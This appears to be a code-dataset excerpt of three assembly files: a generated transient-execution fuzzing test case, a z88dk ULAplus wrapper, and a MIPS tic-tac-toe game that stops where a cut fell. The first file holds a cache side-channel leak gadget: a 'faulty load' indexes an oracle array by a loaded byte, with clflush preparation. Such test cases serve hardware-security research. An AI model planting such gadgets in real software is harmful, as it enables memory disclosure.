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08c016a7edfa3a99f4f02ab7589eb806a6e19939
| 4,082
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1156.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1156.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1156.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x713f, %rsi
lea addresses_A_ht+0x862f, %rdi
clflush (%rsi)
nop
nop
nop
nop
and $50817, %r10
mov $122, %rcx
rep movsq
nop
xor %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r8
push %rax
push %rbx
push %rcx
push %rsi
// Faulty Load
lea addresses_WC+0xb73f, %r8
nop
nop
nop
nop
nop
sub $55686, %r10
movb (%r8), %bl
lea oracles, %rsi
and $0xff, %rbx
shlq $12, %rbx
mov (%rsi,%rbx,1), %rbx
pop %rsi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 61.848485
| 2,999
| 0.66389
|
9d3fe1c1fce4ab80dc72004560fcd03763cc20cf
| 314
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/arch/zx/ulaplus/c/sdcc/ulap_attr_from_pentp_penti.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/arch/zx/ulaplus/c/sdcc/ulap_attr_from_pentp_penti.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/arch/zx/ulaplus/c/sdcc/ulap_attr_from_pentp_penti.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; unsigned char ulap_attr_from_pentp_penti(unsigned char pentp,unsigned char penti)
SECTION code_clib
SECTION code_arch
PUBLIC _ulap_attr_from_pentp_penti
EXTERN asm_ulap_attr_from_pentp_penti
_ulap_attr_from_pentp_penti:
pop af
pop hl
push hl
push af
jp asm_ulap_attr_from_pentp_penti
| 16.526316
| 83
| 0.808917
|
0c0362e88ba6bb4fca68c6fa3fd7e57185e8bf95
| 35,313
|
asm
|
Assembly
|
FinalProjectP.asm
|
MattStrauss/tictactoe
|
886ed5545a6418c7f173fa1e66f90eb36b0d01ea
|
[
"MIT"
] | null | null | null |
FinalProjectP.asm
|
MattStrauss/tictactoe
|
886ed5545a6418c7f173fa1e66f90eb36b0d01ea
|
[
"MIT"
] | null | null | null |
FinalProjectP.asm
|
MattStrauss/tictactoe
|
886ed5545a6418c7f173fa1e66f90eb36b0d01ea
|
[
"MIT"
] | null | null | null |
.data
### Provided stack data ###
stack_beg: .word 0 : 100
stack_end:
### Board Data
BoardPositions: .word 0:9 # stores the occupied/available positions on the board
UserPositions: .word 0:9 # stores the user's current positions on the board
MachinePositions: .word 0:9 # stores the machine's current positions on the board
# Ascii messages ###
user_goes_first_message: .asciiz "Based on the (pseudo) random drawing, you go first! \n"
machine_goes_first_message: .asciiz "Based on the (pseudo) random drawing, the machine goest first... \n"
user_object_type_prompt: .asciiz "Would you like to be O's or X's? (0 for 0: O's and 1 for X's) \n"
user_input_column_prompt: .asciiz "Enter the column you wish place your X or O in: \n"
user_input_row_prompt: .asciiz "Enter the row you wish place your X or O in: \n"
postion_occupied_message: .asciiz "Sorry, that position is already occupied! \n"
lose_message: .asciiz "Sorry, you lost. Try again sometime! \n"
win_message: .asciiz "Congratulations, you win! \n"
tie_message: .asciiz "Looks like a tie... try again sometime! \n"
bad_object_input_message: .asciiz "Please enter a valid object option! \n"
bad_row_column_input_message: .asciiz "Please enter row and column values that are between 1 and 3 \n"
### Lookup tables ###
RowAndColumnToBoardNumber: .word 1, 1, 0 # row | column | board number spot
.word 1, 2, 1 # row | column | board number spot
.word 1, 3, 2 # row | column | board number spot
.word 2, 1, 3 # row | column | board number spot
.word 2, 2, 4 # row | column | board number spot
.word 2, 3, 5 # row | column | board number spot
.word 3, 1, 6 # row | column | board number spot
.word 3, 2, 7 # row | column | board number spot
.word 3, 3, 8 # row | column | board number spot
WinningCombinations: .word 0, 1, 2
.word 0, 3, 6
.word 0, 4, 8
.word 1, 4, 7
.word 2, 5, 8
.word 2, 4, 6
.word 3, 4, 5
.word 6, 7, 8
# start permuations for machine position selection
.word 0, 2, 1
.word 1, 0, 2
.word 1, 2, 0
.word 2, 0, 1
.word 2, 1, 0
.word 0, 6, 3
.word 3, 0, 6
.word 3, 6, 0
.word 6, 0, 3
.word 6, 3, 0
.word 0, 8, 4
.word 4, 0, 8
.word 4, 8, 0
.word 8, 0, 4
.word 8, 4, 0
.word 1, 7, 4
.word 4, 1, 7
.word 4, 7, 1
.word 7, 1, 4
.word 7, 4, 1
.word 2, 8, 5
.word 5, 2, 8
.word 5, 8, 2
.word 8, 2, 5
.word 8, 5, 2
.word 2, 6, 4
.word 4, 2, 6
.word 4, 6, 2
.word 6, 2, 4
.word 6, 4, 2
.word 3, 5, 4
.word 4, 3, 5
.word 4, 5, 3
.word 5, 3, 4
.word 5, 4, 3
.word 6, 8, 7
.word 7, 6, 8
.word 7, 8, 6
.word 8, 6, 7
.word 8, 7, 6
OTable: .word 1, 1, 43, 12 # row | column | x coordinate start | y coordinate start
.word 1, 2, 129, 12 # row | column | x coordinate start | y coordinate start
.word 1, 3, 215, 12 # row | column | x coordinate start | y coordinate start
.word 2, 1, 43, 98 # row | column | x coordinate start | y coordinate start
.word 2, 2, 129, 98 # row | column | x coordinate start | y coordinate start
.word 2, 3, 215, 98 # row | column | x coordinate start | y coordinate start
.word 3, 1, 43, 184 # row | column | x coordinate start | y coordinate start
.word 3, 2, 129, 184 # row | column | x coordinate start | y coordinate start
.word 3, 3, 215, 184 # row | column | x coordinate start | y coordinate start
XTable: .word 1, 1, 12, 12 # row | column | x coordinate start | y coordinate start
.word 1, 2, 98, 12 # row | column | x coordinate start | y coordinate start
.word 1, 3, 184, 12 # row | column | x coordinate start | y coordinate start
.word 2, 1, 12, 98 # row | column | x coordinate start | y coordinate start
.word 2, 2, 98, 98 # row | column | x coordinate start | y coordinate start
.word 2, 3, 184, 98 # row | column | x coordinate start | y coordinate start
.word 3, 1, 12, 184 # row | column | x coordinate start | y coordinate start
.word 3, 2, 98, 184 # row | column | x coordinate start | y coordinate start
.word 3, 3, 184, 184 # row | column | x coordinate start | y coordinate start
SquaresTable: .word 0
.word 1
.word 4
.word 9
.word 16
.word 25
.word 36
.word 49
.word 64
.word 81
.word 100
.word 121
.word 144
.word 169
.word 196
.word 225
.word 256
.word 289
.word 324
.word 361
.word 400
.word 441
.word 484
.word 529
.word 576
.word 625
.word 676
.word 729
.word 784
.word 841
.word 900
.word 961
.word 1024
ColorTable: .word 'G', 0x0000ff00 # Green
.word 'Y', 0x00ffff00 # Yellow
.word 'W', 0x00ffffff # White
.word '0', 0x00000000 # Black
.text
main:
init:
la $sp, stack_end
la $s6, 0x10040000 # base address of display
li $s0, 0 # assume user will use O's but update if neccesary
li $s1, 0 # number of positions user currently occupying
li $s2, 0 # number of positions machine currently occupying
jal drawBoard
jal getRandomNumber # $v0 contains the ranodom number [0,1]
move $s3, $v0
prePlay:
li $v0, 4 # print string
la $a0, user_goes_first_message
beq $s3, 0, userGoesFirst
la $a0, machine_goes_first_message
syscall
b machinePlay # if the random number is 1, machine goes first
userGoesFirst:
syscall
play:
userPlay:
# $v0 and $v1 will have the user's row/col input respetively after this method
jal getUserInput
move $a0, $v0
move $a1, $v1
jal checkPositionIsValidAndUpdatePositions
beq $v0, 1, play
# $v0 will have the x-coordinate memory address and the y-coordinate address is one word down
li $a2, 0 # user indicator
jal convertInputToCoords
lw $a0, 0($v0)
lw $a1, 4($v0)
li $a2, 0 # user indicator
jal drawXOrO
li $a1, 0 # user indicator
li $a3, 0 # checkType indicator (winner check)
jal checkIfWinner
machinePlay:
# $v0 will have the x-coordinate memory address and the y-coordinate address is one word down
jal getMachineInput
lw $a0, ($v0)
lw $a1, 4($v0)
li $a2, 1 # machine indicator
jal convertInputToCoords
lw $a0, 0($v0)
lw $a1, 4($v0)
li $a2, 1 # machine indicator
jal drawXOrO
li $a1, 1 # machine indicator
li $a3, 0 # checkType indicator (winner check)
jal checkIfWinner
b play
# generates random number
# argument: none
# return: (int) $v0 contains the random number
getRandomNumber:
# stack stuff
subi $sp, $sp, 4 # make room for the saved items below
sw $ra, 0($sp) # store $ra
# get seed
li $a0, 0 # generator number/id
li, $v0, 30 # sys call for system time
syscall
move $t0, $a0 # store the LSB returned by sys time call to $t0
# get random number
li $a0, 0 # generator number/id
move $a1, $t0 # seed for generator
li, $v0, 40 # seed random number generator
syscall
li $a1, 2 # upper bound of random number
li $v0, 42 # generate random number
syscall
finishRandomNumberRoutine:
move $v0, $a0 # move the random number to the proper return regsiter
lw $ra, 0($sp) # restore $ra
addi $sp, $sp, 4 # set the $sp back to its original state
jr $ra
# get the user's input
# argument: none
# return: $s0 = user's chosen object type, $v0 = user's row input, $v1 = user's col inpout
getUserInput:
# stack stuff
subi $sp, $sp, 8 # make room for the saved items below
sw $ra, 0($sp) # store $ra
add $t0, $s1, $s2 # used in check below to see if this is the first iteration
bnez $t0, getRowAndColumnInput
li $v0, 4
la $a0, user_object_type_prompt
syscall
li $v0, 5 # read int from user (read value goes into $v0)
syscall
beqz $v0, finishGettingUserObjectInput
beq $v0, 1, finishGettingUserObjectInput
li $v0, 4 # print string
la $a0, bad_object_input_message
syscall
b getUserInput
finishGettingUserObjectInput:
move $s0, $v0 # store user object choice input in $s0
getRowAndColumnInput:
li $v0, 4 # print string
la $a0, user_input_row_prompt # prompt address user for column
syscall
li $v0, 5 # read int from user (read value goes into $v0)
syscall
bgt $v0, 3, badInputGiven
bltz $v0, badInputGiven
sw $v0, 4($sp) # store $v0 before it's changed below
li $v0, 4 # print string
la $a0, user_input_column_prompt # prompt address user for row
syscall
li $v0, 5 # read int from user (read value goes into $v0)
syscall
bgt $v0, 3, badInputGiven
bltz $v0, badInputGiven
move $v1, $v0 # store user row input in $t1
lw $ra, 0($sp) # restore $ra
lw $v0, 4($sp) # restore $v0
addi $sp, $sp, 8 # set the $sp back to its original state
jr $ra
badInputGiven:
li $v0, 4 # print string
la $a0, bad_row_column_input_message
syscall
b getRowAndColumnInput
# get the machine's input
# argument: none
# return: $v0 = pointer to machine's row input (next word is the col input)
getMachineInput:
# stack stuff
subi $sp, $sp, 16 # make room for the saved items below
sw $ra, 0($sp) # store $ra
bnez $s2, findBestPositionPrep
# this is the first time the machine is choosing, so take either
# the center spot, board number 4 or the first spot board number 1
# reason being is that the center spot is involved in 4 winning combos and the 1st spot is involved in 3,
# and those are the highest winning combo amounts for any given positions
la $t7, BoardPositions
li $v1, 4 # set the selected board position to the center spot
lw $t7, 16($t7) # center spot of board
beqz $t7, selectedMachinePostionToRowAndColumn
li $v1, 0 # if the center spot is taken, then choose th first spot
b selectedMachinePostionToRowAndColumn
findBestPositionPrep:
li $t6, 2 # counter
li $a1, 1 # first check for winning machine positions (offensive)
findBestPositionLoop:
move $a3, $t6 # checkType arg for method
sw $t6, 8($sp) # store $t6 to the stack
sw $a1, 12($sp) # store $a1 to the stack
jal checkIfWinner
lw $t6, 8($sp) # restore $t6 from the stack
lw $a1, 12($sp) # restore $a1 from the stack
bne $v1, 9, selectedMachinePostionToRowAndColumn
beqz $a1, bestPositionLoopAdjustments # if $a0 equals zero this is the first iteration
addi $t6, $t6, 1 # this negates the substraction below as we still need to check for two in a row at this point
li $a1, 0 # update $a0 to user indicator (defensive)
beq $t6, 3, bestPositionLoopAdjustments # switch back to machine check for the one in a row situation (offensive)
li $a1, 1
bestPositionLoopAdjustments:
subi $t6, $t6, 1 # decement the counter
bnez $t6, findBestPositionLoop
### this is where we end up if no positions were found by the above, so we just want to take first available board
### position at this point
li $t6, 0 # counter
la $t7, BoardPositions
getFirstAvailablePositionLoop:
lw $t8, ($t7)
move $v1, $t6 # set it equal to the counter as that's the board number
beqz $t8, selectedMachinePostionToRowAndColumn
addi $t7, $t7, 4 # move to next board position to see if it is available
addi $t6, $t6, 1 # increment counter
b getFirstAvailablePositionLoop
selectedMachinePostionToRowAndColumn:
move $a0, $v1 # board position
li $a1, 1 # machine indicator
sw $v1, 4($sp) # store $v1
jal updateBoardPositionsAndUserPositions
lw $v1, 4($sp) # restore $v1
la $t0, RowAndColumnToBoardNumber
mul $v1, $v1, 12 # multiply the board number by 12 to get the proper offset for the RowColumn table
nop
nop
add $v0, $t0, $v1 # set the pointer to the correct location in the RowColumn table for the return value
lw $ra, 0($sp) # restore $ra
addi $sp, $sp, 16 # set the $sp back to its original state
jr $ra
# determine if the user's position input is valid
# arguments: $a0 as user input row, $a1 has user input column
# return: $vo equals zero if position is not occupied or 1 if it is occupied
checkPositionIsValidAndUpdatePositions:
# stack stuff
subi $sp, $sp, 12 # make room for the saved items below
sw $ra, 0($sp) # store $ra
la $t0, RowAndColumnToBoardNumber
getBoardNumberOuterLoop:
lw $t1, ($t0)
beq $a0, $t1, prepareGetBoardNumberInnerLoop
addi $t0, $t0, 12 # move to next row in lookup table
b getBoardNumberOuterLoop
prepareGetBoardNumberInnerLoop:
addi $t0, $t0, 4 # move to the next word in the table which hold the column number
getBoardNumberInnerLoop:
lw $t1, ($t0)
beq $a1, $t1, prepareFinalPositionIsValidCheck
addi $t0, $t0, 12 # prepare to to next row in lookup table
b getBoardNumberInnerLoop
prepareFinalPositionIsValidCheck:
addi $t3, $t0, 4 # move to the next word in the table which holds the table number
lw $t3, ($t3) # load the word table number word into $t3
sll $t3, $t3, 2 # multiply it by 4 so it's word-aligned
la $t4, BoardPositions
add $t4, $t4, $t3 # set the board positions pointer to proper word
lw $t6, ($t4) # load the actual word
beqz $t6, continueToUpdatingBoardPositions
sw $a0, 4($sp) # store $a0
la $a0, postion_occupied_message
li $v0, 4
syscall
li $v0, 1 # set return to one, meaning the position is occupied
b finishCheckPositionIsValid
continueToUpdatingBoardPositions:
li $v0, 0 # set return to zero, meaning the position is not occupied
sw $a0, 4($sp) # store $a0
sw $a1, 8($sp) # store $a1
lw $t1, 4($t0) # load the selected board position word of the table
li $a0, 0
add $a0, $a0, $t1 # the board position
li $a1, 0 # user indicator
jal updateBoardPositionsAndUserPositions
finishCheckPositionIsValid:
lw $ra, 0($sp) # restore $ra
lw $a0, 4($sp) # restore $a0
lw $a1, 8($sp) # restore $a1
addi $sp, $sp, 12 # set the $sp back to its original state
jr $ra
# updates the occupied board positions and user/machine positions and increments their number of positions
# arguments: $a0 = position, $a1 = user/machine (0 user, 1 machine)
# return: none
updateBoardPositionsAndUserPositions:
# stack stuff
subi $sp, $sp, 4 # make room for the saved items below
sw $ra, 0($sp) # store $ra
sll $a0, $a0, 2 # multiply the position by four to get it word-aligned
beqz $a1, userProtocol
addi $s2, $s2, 1
addNewPostionToMachinePositions:
la $t0, MachinePositions
add $t0, $t0, $a0 # add the board position to $t0
li $t1, 1
sw $t1, ($t0)
b addNewPostionToBoardPositions
userProtocol:
addi $s1, $s1, 1
addNewPostionToUserPositions:
la $t0, UserPositions
add $t0, $t0, $a0
li $t1, 1
sw $t1, ($t0)
addNewPostionToBoardPositions:
la $t0, BoardPositions
add $t0, $t0, $a0
li $t1, 1
sw $t1, ($t0)
lw $ra, 0($sp) # restore $ra
addi $sp, $sp, 4 # set the $sp back to its original state
jr $ra
# determine if the game has been won, also used as in machine's position selection logic
# arguments: $a1 = user/machine (0 = user, 1 = machine),
# args cont... $a3 = checkType (0 = winner check, 1 = (1 in a row) 2 = (2 in a row)
# return: $v1 = board number for machine to take (or 9 if none available or not applicable) -> only for $a3 args > 0
checkIfWinner:
# stack stuff
subi $sp, $sp, 4 # make room for the saved items below
sw $ra, 0($sp) # store $ra
add $t0, $s1, $s2
beq $t0, 9, TieMessage
li $v1, 9 # used for typeCheck only, 9 is not a possible board position to return, so if that's returned there was no pos found
la $t0, UserPositions
beqz $a1, startWinnerCheck
la $t0, MachinePositions
startWinnerCheck:
la $t1, WinningCombinations
li $t2, 0 # counter
li $t3, 0 # summer
li $t9, 0 # long term counter
winningComboCheckerLoop:
lw $t4, ($t1) # winning position from current row
sll $t4, $t4, 2 # multiply by 4 so it's word-aligned
add $t5, $t0, $t4 # pointer to user/machine's postion at this index
lw $t5, ($t5) # the word at the position for the user/machine
beqz $t5, nextWinnerComboLoop
addi, $t3, $t3, 1 # the user/machine has this spot so add one to the summer
nextWinnerComboLoop:
addi $t2, $t2, 1 # increment counter
addi $t9, $t9, 1 # increment long term counter
addi $t1, $t1, 4 # move the Winnning Combo pointer down one Word for next iteration
checkTypeTwo:
bne $a3, 2, checkTypeOne # this is the 2 in a row situation
bne $t3, 2, regularCheck # if the summer is not at two
beq $t2, 3, regularCheck # if short counter is at three then there is no position to take in this row
b checkIfValidBoardPositionForMachineAndReturnIfSo
checkTypeOne:
bne $a3, 1, regularCheck # this is the 1 in a row situation
bne $t3, 1, regularCheck # if the summer is not at one
beq $t2, 3, regularCheck # if short counter is at three then there is no position to take in this row
checkIfValidBoardPositionForMachineAndReturnIfSo:
la $t7, BoardPositions
lw $t8, ($t1) # get the next board number from the current winning combo iteration
move $v1, $t8 # set the return value to the board number that the machine should take
sll $t8, $t8, 2 # multiply the board number by 4 to word-align it for below addition
add $t7, $t7, $t8 # move the board position's pointer to the correct spot
lw $t7, ($t7) # hold the value of the next winning combo board postion (0 if empty, 1 if occupied)
bnez $t7, regularCheckPrep
b finishCheckIfWinner
regularCheckPrep:
li $v1, 9 # set the return value back to 9 as this spot was not available
regularCheck:
beq $t3, 3, WinOrLoseMessage # if summer equals 3, that means we have a winner, $a1 arugment already correctly set!
blt $t2, 3, winningComboCheckerLoop
li $t2, 0 # reset counter
li $t3, 0 # reset summer
beqz $a3, skipPermuationChecks
blt $t9, 144, winningComboCheckerLoop # go through standard winning combos and permuations
b finishCheckIfWinner
skipPermuationChecks:
blt $t9, 24, winningComboCheckerLoop # pnly go through standard winning combos (not permuations)
finishCheckIfWinner:
lw $ra, 0($sp) # restore $ra
addi $sp, $sp, 4 # set the $sp back to its original state
jr $ra
# tell the user that they won (or lost)
# arguments: $a1 = user/machine (0 = user, 1 = machine)
# none
WinOrLoseMessage:
jal prepMakeSound # make the Win or Lose sound, $a1 already set to the correct state
la $a0, win_message
beqz $a1, printWinOrLoseMessage
la $a0, lose_message
printWinOrLoseMessage:
li $v0, 4
syscall
li $v0, 10
syscall
# tell the user that they tied the machine
# arguments: none
# none
TieMessage:
li $a1 2 # tie indicatior
jal prepMakeSound
la $a0, tie_message
li $v0, 4
syscall
li $v0, 10
syscall
# make a Win, Lose or Tie sound
# argument: $a1: Win = 0, Lose = 1, Tie = 2
# return: none
prepMakeSound:
# save to stack
subi $sp, $sp, 4 # make room for the saved items below
sw $ra, 0($sp) # store $ra
move $t0, $a1 # move the arg to $t0 as it is changed below
li $a1, 1200 # time in ms
li $a3, 110 # volume
## Winner (you'll never hear this...)
li $a0, 100 # pitch
li $a2, 50 # instrument
beqz $t0, makeTheSound
## Lose
li $a0, 35 # pitch
li $a2, 7 # instrument
beq $t0, 1, makeTheSound
## Tie
li $a0, 65 # pitch
li $a2, 20 # instrument
makeTheSound:
jal makeSound
# set stack back
lw $ra, 0($sp) # put the correct $ra back to get to this method's caller below
addi $sp, $sp, 4 # adjust $sp back to its original state
jr $ra
# make a sound
# argument: $a0: pitch, $a1: duration, $a2: instrument, $a3: volume
# return: none
makeSound:
# save to stack
subi $sp, $sp, 4 # make room for the saved items below
sw $ra, 0($sp) # store $ra
li $v0, 31 # syscall for MIDI out
syscall
# set stack back
lw $ra, 0($sp) # put the correct $ra back to get to this method's caller below
addi $sp, $sp, 4 # adjust $sp back to its original state
jr $ra
# use the user's input to locate the correct memory location of the coords for drawing the object
# arguments: $a0 = row input, $a1 = column input, $a2 = user/machine (0 = user, 1 = machine)
# return: $v0 = memory address for user's given row/col at the x-coord point (y-coord is one word down)
convertInputToCoords:
# stack stuff
subi $sp, $sp, 4 # make room for the saved items below
sw $ra, 0($sp) # store $ra
la $t0, OTable
beqz $a2, userInputCoordsProtocol
bnez $s0, getObjectAddressOuterLoop
la $t0, XTable
b getObjectAddressOuterLoop
userInputCoordsProtocol:
beqz $s0, getObjectAddressOuterLoop # if the user is X's update $t0 to the correct label address
la $t0, XTable
getObjectAddressOuterLoop:
lw $t1, 0($t0)
beq $t1, $a0, prepareForObjectAddressInnerLoop # user's row input matched the given lookup table's row move to inner loop (col)
addi $t0, $t0, 16 # move to the next row in the lookup table
b getObjectAddressOuterLoop
prepareForObjectAddressInnerLoop:
addi $t0, $t0, 4 # move to the next word in the lookuptable (columns)
getObjectAddressInnerLoop:
lw $t1, 0($t0) # load the col word from the lookup table
beq $t1, $a1, finishconvertUserInputToCoords # user's col input matched the given lookup table's col
addi $t0, $t0, 16 # move to the next row in the lookup table
b getObjectAddressInnerLoop
finishconvertUserInputToCoords:
la $v0, 4($t0) # set the proper return value
lw $ra, 0($sp) # restore $ra
addi $sp, $sp, 4 # set the $sp back to its original state
jr $ra
# decide whether to draw an X or an O
# arguments: $a0 = row input, $a1 = column input $a2, user/machine
# return: none
drawXOrO:
# stack stuff
subi $sp, $sp, 4 # make room for the saved items below
sw $ra, 0($sp) # store $ra
beqz $a2, userObjectDrawProtocol
beqz $s0, checkDrawXMachine
jal drawO
checkDrawXMachine:
bnez $s0, finishDrawXOrO
jal drawX
b finishDrawXOrO
userObjectDrawProtocol:
bnez $s0, checkDrawX
jal drawO
checkDrawX:
bne $s0, 1, finishDrawXOrO
jal drawX
finishDrawXOrO:
lw $ra, 0($sp) # restore $ra
addi $sp, $sp, 4 # set the $sp back to its original state
jr $ra
# draw the game board
# argument: none
# return: none
drawBoard:
# stack stuff
subi $sp, $sp, 4 # make room for the saved items below
sw $ra, 0($sp) # store $ra
jal clearDisplay
li $a0, 86 # x-coordinate
li $a1, 0 # y-coordinate
li $a2, 'W' # white color
li $a3, 255 # length of line
gameBoarDrawingVericalLines:
jal drawVerticalLine
beq $a0, 172, prepareGameBoarDrawingHorizontalLines
sll $a0, $a0, 1 # multiply x-coordinate by 2 for next iteration
li $a1, 0 # y-coordinate back to zero
li $a3, 255 # length of line refresh to 255
b gameBoarDrawingVericalLines
prepareGameBoarDrawingHorizontalLines:
li $a0, 0 # x-coordinate
li $a1, 86 # y-coordinate
li $a3, 255 # length of line refresh to 255
gameBoarDrawingHorizontalLines:
jal drawHorizontalLine
beq $a1, 172, finishGameBoarDrawingLines
sll $a1, $a1, 1 # multiply y-coordinate by 2 for next iteration
li $a0, 0 # x-coordinate back to zero
li $a3, 255 # length of line refresh to 255
b gameBoarDrawingHorizontalLines
finishGameBoarDrawingLines:
lw $ra, 0($sp) # restore $ra
addi $sp, $sp, 4 # set the $sp back to its original state
jr $ra
# draw a black box over the entire display
# argument: none
# return: none
clearDisplay:
subi $sp, $sp, 4 # make room for the saved items below
sw $ra, 0($sp) # store $ra
li $a0, 0 # set $a0 to zero
li $a1, 0 # set $a1 to zero
li $a2, '0' # color should be black which is char 0
li $a3, 256 # full screen, all 256 rows
jal drawBox
lw $ra, 0($sp) # put the correct $ra back to get to this method's caller below
addi $sp, $sp, 4 # adjust $sp back to its original state
jr $ra
# draw the X in the correct box
# arguments : $a0 x-coordinate where X begins, $a1 y-coordinate where X begins
# return: nothing
drawX:
# stack stuff
subi $sp, $sp, 12 # make room for the saved items below
sw $ra, 0($sp) # store $ra
sw $a0, 4($sp) # store $a0
sw $a1, 8($sp) # store $a1
li $a2, 'Y' # yellow color
li $a3, 0 # negative slope
jal drawSlopedLine
lw $a0, 4($sp) # restore $a0
lw $a1, 8($sp) # restore $a1
addi $a1, $a1, 62 # y-coordinate
li $a2, 'Y' # yellow color
li $a3, 1 # postive slope
jal drawSlopedLine
lw $ra, 0($sp) # restore $ra
addi $sp, $sp, 12 # set the $sp back to its original state
jr $ra
# draw a horizontal lines of arbitraty length to make a circle
# argument: $a0: x-coordinate, $a1: y-coordinate
# return: none
drawO:
li $a2, 'G' # green color
li $a3, 32 # radius
subi $sp, $sp, 32 # make room for the saved items below
sw $ra, 0($sp) # store $ra
